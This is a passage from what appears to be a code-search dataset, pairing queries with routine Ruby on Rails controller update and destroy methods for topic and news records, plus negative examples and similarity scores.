else\n format.html { render :edit }\n format.json { render json: @user_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topickey = Topickey.find(params[:id])\n\n respond_to do |format|\n if @topickey.update_attributes(params[:topickey])\n format.html { redirect_to @topickey, notice: 'Topickey was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topickey.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params)\n @content_pack = @topic.content_pack\n @topics = @content_pack.topics\n end\n format.js\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n flash[:success] = 'Topic was successfully updated.'\n format.html { redirect_to(@topic) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_topic(org_unit_id, topic_id, content_topic) # GET\n query_string = \"/d2l/api/le/#{$le_ver}/#{org_unit_id}/content/topics/#{topic_id}\"\n payload = {\n 'Title' => \"\",\n 'ShortTitle' => \"\",\n 'Type' => 0,\n 'TopicType' => 0,\n 'StartDate' => nil,\n 'EndDate' => nil,\n 'DueDate' => nil,\n 'IsHidden' => nil,\n 'IsLocked' => false,\n 'OpenAsExternalResource' => nil, # Added with LE v1.6 API\n 'Description' => nil,\n 'MajorUpdate' => nil, # Added with LE v1.12 API\n 'MajorUpdateText' => \"\", # Added with LE v1.12 API\n 'ResetCompletionTracking' => nil # Added with LE v1.12 API\n }.merge!(content_topic)\n check_content_topic_validity(content_topic)\n _put(query_string, payload)\nend", "def update\n respond_to do |format|\n if @topic02.update(topic02_params)\n format.html { redirect_to @topic02, notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic02 }\n else\n format.html { render :edit }\n format.json { render json: @topic02.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(topic, options = {})\n body = options.has_key?(:body) ? options[:body] : {}\n body[:topic] = topic\n\n response = @client.put \"/api/topics/:id\", body, options\n\n return response\n end", "def update\n @discussion_topic = Boards::Topics::DiscussionTopic.find(params[:id])\n\n respond_to do |format|\n if @discussion_topic.update_attributes(params[:discussion_topic])\n flash[:notice] = 'Boards::Topics::DiscussionTopic was successfully updated.'\n format.html { redirect_to(@discussion_topic) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @discussion_topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @topic = args[:topic] if args.key?(:topic)\n end", "def update!(**args)\n @topic = args[:topic] if args.key?(:topic)\n end", "def update!(**args)\n @topic = args[:topic] if args.key?(:topic)\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n flash[:notice] = 'Topic was successfully updated.'\n format.html { redirect_to(@topic) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n flash[:notice] = 'Topic was successfully updated.'\n format.html { redirect_to(@topic) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n flash[:notice] = 'Topic was successfully updated.'\n format.html { redirect_to(@topic) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n flash[:notice] = 'Topic was successfully updated.'\n format.html { redirect_to(@topic) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n flash[:notice] = 'Topic was successfully updated.'\n format.html { redirect_to(@topic) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @topics_user = TopicsUser.find(params[:id])\n\n respond_to do |format|\n if @topics_user.update_attributes(params[:topics_user])\n format.html { redirect_to @topics_user, notice: 'Topics user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topics_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(topic_params)\n format.html { redirect_to(@topic, :notice => 'Topic was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @forum = Forum.find(params[:forum_id])\n\n params[:user_id] = current_user.id\n params[:forum_id] = @forum.id\n params[:moderation] = true if current_user.role <= Role.get_id(:guest)\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to [@forum, @topic], notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @admin_topic = Admin::Topic.find(params[:id])\n \n respond_to do |format|\n if @admin_topic.update_attributes(params[:admin_topic])\n format.html { redirect_to @admin_topic, :notice => 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @admin_topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @topic_id = args[:topic_id] if args.key?(:topic_id)\n end", "def update!(**args)\n @messages = args[:messages] if args.key?(:messages)\n @topic_id = args[:topic_id] if args.key?(:topic_id)\n end", "def update\n respond_to do |format|\n if @topic03.update(topic03_params)\n format.html { redirect_to @topic03, notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic03 }\n else\n format.html { render :edit }\n format.json { render json: @topic03.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to @news, notice: t('flash.notice.news_updated') }\n format.json { render :show, status: :ok, location: @news }\n else\n format.html { render :edit }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @company_forum_topic = CompanyForumTopic.find(params[:id])\n\n respond_to do |format|\n if @company_forum_topic.update_attributes(company_forum_topic_params)\n format.html { redirect_to @company_forum_topic, notice: 'Company forum topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company_forum_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to @news, notice: 'News was successfully updated.' }\n format.json { render :show, status: :ok, location: @news }\n else\n format.html { render :edit }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to @news, notice: 'News was successfully updated.' }\n format.json { render :show, status: :ok, location: @news }\n else\n format.html { render :edit }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to @news, success: 'Запись успешно обновлена.' }\n format.json { render :show, status: :ok, location: @news }\n else\n format.html { render :edit }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:news][:category] = \"默认\" if params[:news][:category] == \"\"\n @news = News.find(params[:id])\n \n respond_to do |format|\n if @news.update_attributes(params[:news])\n flash[:success] = \"恭喜,新闻修改成功\"\n format.html { redirect_to news_index_path(:id => @news.id) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #@sudoku = Sudoku.find(params[:id])\n @get_sudoku_topic = SudokuTopic.new(params[:sudoku_topic])\n # @get_sudoku_topic.topic=\"test update by code\"\n @get_sudoku_topic.save\n\n\n respond_to do |format|\n if @sudoku.update_attributes(params[:sudoku_topic])\n format.html { redirect_to @sudoku, notice: 'Sudoku was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sudoku.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n params[:news][:category_news_id] = params[:category]\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to news_index_url, notice: 'News was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @major_topic = args[:major_topic] if args.key?(:major_topic)\n @term = args[:term] if args.key?(:term)\n end", "def update\n respond_to do |format|\n if @news_update.update(news_update_params)\n format.html { redirect_to @news_update, notice: 'News update was successfully updated.' }\n format.json { render :show, status: :ok, location: @news_update }\n else\n format.html { render :edit }\n format.json { render json: @news_update.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to @news, notice: 'Новость изменена.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article_news.update(article_news_params)\n format.html { redirect_to @article_news, notice: \"Article new was successfully updated.\" }\n format.json { render :show, status: :ok, location: @article_news }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @article_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @citation_topic.update(citation_topic_params)\n format.html { redirect_to :back, notice: 'Citation topic was successfully updated.' }\n format.json { render json: @citation_topic, status: :ok, location: @citation_topic }\n else\n format.html { redirect_to :back, notice: 'Citation topic was NOT successfully updated.' }\n format.json { render json: @citation_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic_comment.update(topic_comment_params)\n format.html { redirect_to @topic_comment, notice: 'Topic comment was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic_comment }\n else\n format.html { render :edit }\n format.json { render json: @topic_comment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:topic_id])\n @forum = Forum.find(params[:forum_id])\n\n params[:topic_id] = @topic.id\n\n respond_to do |format|\n if @message.update_attributes(params[:message])\n format.html { redirect_to forum_topic_path(@forum, @topic, :anchor => \"msg_id_#{@message.id}\"), notice: 'Message was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_whats_new_url(args = {}) \n put(\"/globalsettings.json/news/url\", args)\nend", "def update\n @text_topic = TextTopic.find(params[:id])\n\n respond_to do |format|\n if @text_topic.update_attributes(params[:text_topic])\n format.html { redirect_to(@text_topic, :notice => 'Text topic was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @text_topic.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.70032775", "0.69635344", "0.69390434", "0.67616516", "0.6709714", "0.66886914", "0.66778624", "0.66565174", "0.6649291", "0.6628653", "0.6588845", "0.6554845", "0.6515214", "0.649727", "0.6496807", "0.6495477", "0.6495477", "0.6495477", "0.6495477", "0.6495477", "0.648349", "0.6469501", "0.64686215", "0.6457407", "0.64374155", "0.64339644", "0.64119256", "0.64104766", "0.6399639", "0.6399467", "0.6399467", "0.6399467", "0.6399467", "0.63929266", "0.6381553", "0.63492316", "0.63253844", "0.63121545", "0.6305504", "0.6297731", "0.629759", "0.62889975", "0.62825215", "0.62759495", "0.6269432", "0.62692255", "0.6251318", "0.623435", "0.6227229", "0.6225726", "0.6224379", "0.6223879", "0.62171274", "0.62154806", "0.6185965", "0.6175539", "0.6157549", "0.61392987", "0.6130669", "0.6119504", "0.6094604", "0.6087069", "0.6083998", "0.6083992", "0.60817796", "0.6077808", "0.6074991", "0.60746944", "0.60717297", "0.60717297", "0.60715955", "0.60632354", "0.60632354", "0.60632354", "0.60632354", "0.60632354", "0.6055183", "0.6047606", "0.6044033", "0.60409385", "0.6028172", "0.6024954", "0.6022984", "0.601963", "0.6012591", "0.60112625", "0.60112625", "0.60111004", "0.60084337", "0.6007575", "0.60048956", "0.600085", "0.5997331", "0.59969467", "0.5996767", "0.59837437", "0.5964439", "0.595534", "0.5952563", "0.59481174" ]
0.68710464
3
DELETE /news_topics/1 DELETE /news_topics/1.json
def destroy @news_topic.destroy respond_to do |format| format.html { redirect_to news_topics_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def DeleteTopic id\n \n APICall(path: \"topics/#{id}.json\",method: 'DELETE')\n \n end", "def destroy\n Topic.find(params[:id]).destroy\n render :json => {:ok => true}, :head => :no_content\n end", "def destroy\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_path, notice: t('flash.notice.news_deleted') }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_topic.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_topics_url, notice: 'Topic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to topics_url }\n format.json { head :ok }\n end\n end", "def destroy\n load_topic.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Topic was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to admin_news_index_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to news_index_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @article_topic.destroy\n respond_to do |format|\n format.html { redirect_to article_topics_url, notice: 'Article topic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @seab_topic.destroy\n respond_to do |format|\n format.html { redirect_to seab_topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to :news_index }\n format.json { head :no_content }\n end\n end", "def destroy\n # Find news in DB\n @news = News.find(params[:id])\n # Delete news\n @news.destroy\n\n respond_to do |format|\n # Redirect the user to the news index page\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_topics_url }\n format.json { head :ok }\n end\n end", "def destroy\n @subtopic = Subtopic.find(params[:id])\n @subtopic.destroy\n\n respond_to do |format|\n format.html { redirect_to subtopics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_useful_news = Admin::UsefulNews.find(params[:id])\n @admin_useful_news.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_useful_news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\n \t@topic = Topic.find(params[:id])\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to topics_url, notice: 'Topic was successfully deleted.' }\n format.json { head :no_content }\n end\n\n end", "def destroy\n @document_topic_sub_topic.destroy\n respond_to do |format|\n format.html { redirect_to document_topic_sub_topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @community_topic = CommunityTopic.find(params[:id])\n @community_topic.destroy\n\n respond_to do |format|\n format.html { redirect_to community_topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\t@topic = Topic.find(params[:id])\n\[email protected]_all\n\[email protected]_all\n\[email protected]\n\n\trespond_to do |format|\n\t format.html { redirect_to topics_url }\n\t format.json { head :no_content }\n\tend\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url, notice: 'Новость успешно удалена' }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_news_link.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_news_links_url, notice: 'News link was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy!\n respond_to do |format|\n format.html { redirect_to topics_url, notice: 'Topic was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(topics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(topics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url, success: 'Запись успешно удалена.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to xmt_press_topics_url(site_id: @site.id, channel_id: @channel.id), notice: '文章删除成功.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to pool_topics_url }\n format.json { head :ok }\n end\n end", "def destroy\n @news=News.find(params[:id])\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_url }\n format.json { render status: :ok, json: {} }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_path, notice: 'Uutinen poistettu' }\n format.json { render :index, status: :ok, location: news_index_path }\n end\n end", "def destroy\n @discipline.topics.delete_all\n @discipline.destroy\n\n respond_to do |format|\n format.html { redirect_to disciplines_url, notice: 'Discipline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to forum_topics_url(@forum) }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_latest.destroy\n respond_to do |format|\n format.html { redirect_to news_latests_url, notice: 'News latest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to topics_url, notice: 'Topic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to topics_url, notice: 'Topic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to topics_url, notice: 'Topic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to topics_url, notice: 'Topic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to topics_url, notice: 'Topic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to topics_url, notice: 'Topic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to topics_url, notice: 'Topic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topics_user = TopicsUser.find(params[:id])\n @topics_user.destroy\n\n respond_to do |format|\n format.html { redirect_to my_topics_url, notice: 'Remove topic succeed!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to [@user, Topic], notice: '成功刪除' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gg_news.destroy\n respond_to do |format|\n format.html { redirect_to gg_news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admins_news.destroy\n respond_to do |format|\n format.html { redirect_to admins_news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_topic_comment.destroy\n respond_to do |format|\n format.html { redirect_to news_topic_comments_url, notice: 'News topic comment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_topic(org_unit_id, topic_id) # DELETE\n query_string = \"/d2l/api/le/#{$le_ver}/#{org_unit_id}/content/topics/#{topic_id}\"\n _delete(query_string)\nend", "def destroy\n @data_topic = DataTopic.find(params[:id])\n @data_topic.destroy\n\n respond_to do |format|\n format.html { redirect_to data_topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\n if @news.nil?\n render json: {error: \"Not found\"}, status: :not_found\n else\n @news.destroy\n render json: @news, status: :ok\n end\n end", "def destroy\n @hotnews_read = HotnewsRead.find(params[:id])\n @hotnews_read.destroy\n\n respond_to do |format|\n format.html { redirect_to hotnews_reads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url, notice: 'News was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url, notice: 'News was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url, notice: 'News was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(topics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(topics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(topics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(topics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(topics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(topics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(topics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @newsinfo.destroy\n respond_to do |format|\n format.html { redirect_to newsinfos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_news_index_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_news_index_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url, notice: 'An item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subtopic.destroy\n respond_to do |format|\n format.html { redirect_to subtopics_url, notice: 'Subtopic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sub_topic.destroy\n respond_to do |format|\n format.html { redirect_to sub_topics_url, notice: 'Sub topic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(options = {})\n body = options.has_key?(:body) ? options[:body] : {}\n\n response = @client.delete \"/api/topics/:id\", body, options\n\n return response\n end", "def destroy\n @news_datum = NewsDatum.find(params[:id])\n @news_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to news_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if @topic.destroy\n render json: {success: true}\n else\n render json: @topic.errors, status: :unprocessable_entity\n end\n end", "def destroy\n if @news.removed?\n @news.destroy\n else\n @news.removed!\n end\n\n respond_to do |format|\n format.html { redirect_to news_index_url, notice: 'Новость успешно удалена!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @discussion_topic = Boards::Topics::DiscussionTopic.find(params[:id])\n @discussion_topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(boards/topics_discussion_topics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @forum_topic.destroy\n respond_to do |format|\n format.html { redirect_to forum_topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_story.destroy\n respond_to do |format|\n format.html { redirect_to news_stories_url, notice: 'News story was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_post.destroy\n\n respond_to do |format|\n format.html { redirect_to news_posts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_post.destroy\n respond_to do |format|\n format.html { redirect_to news_posts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @newsletter.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_news.destroy\n respond_to do |format|\n format.html { redirect_to admin_news_index_url, notice: '刪除新聞成功' }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic.destroy\n respond_to do |format|\n format.html { redirect_to forum_topics_path, notice: 'Topic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lda_post_topic = LdaPostTopic.find(params[:id])\n @lda_post_topic.destroy\n\n respond_to do |format|\n format.html { redirect_to lda_post_topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_news.destroy\n respond_to do |format|\n format.html { redirect_to admin_news_index_url, notice: 'News cancellata con successo!.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_item_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @article_news.destroy\n respond_to do |format|\n format.html { redirect_to article_news_url, notice: \"Article new was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_index_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_index_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_index_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @topickey = Topickey.find(params[:id])\n @topickey.destroy\n\n respond_to do |format|\n format.html { redirect_to topickeys_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_article = NewsArticle.find(params[:id])\n @news_article.destroy\n \n respond_to do |format|\n format.html { redirect_to(news_articles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news_post = NewsPost.find(params[:id])\n @news_post.destroy\n\n respond_to do |format|\n format.html { redirect_to news_posts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @topic = Topic.find(params[:id])\n @topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_topics_path) }\n format.xml { head :ok }\n end\n end" ]
[ "0.7404525", "0.7351225", "0.73037225", "0.72831625", "0.72235703", "0.72208005", "0.7214375", "0.7214375", "0.7214375", "0.7214375", "0.7214375", "0.7214375", "0.7207892", "0.71965367", "0.7192788", "0.7188378", "0.71769315", "0.71750075", "0.7173123", "0.7172821", "0.7172821", "0.7172821", "0.7172821", "0.7163794", "0.7151221", "0.71290153", "0.7109762", "0.7106719", "0.7091534", "0.7081643", "0.7065021", "0.7064841", "0.7061534", "0.70585203", "0.7049843", "0.7048263", "0.7048263", "0.7046114", "0.7038029", "0.7006846", "0.7003106", "0.699772", "0.6995519", "0.6993334", "0.6990837", "0.69908166", "0.69908166", "0.69908166", "0.69908166", "0.69908166", "0.69908166", "0.69908166", "0.6985266", "0.6980828", "0.6976816", "0.697672", "0.6974375", "0.69739276", "0.69659454", "0.69599444", "0.69586265", "0.6958413", "0.6958413", "0.6958413", "0.69578063", "0.69578063", "0.69578063", "0.69578063", "0.69578063", "0.69578063", "0.69578063", "0.6946555", "0.6945889", "0.6945889", "0.6944402", "0.6941353", "0.6940191", "0.69323814", "0.69287217", "0.6920012", "0.6919735", "0.69136596", "0.69128835", "0.690862", "0.6908315", "0.6907663", 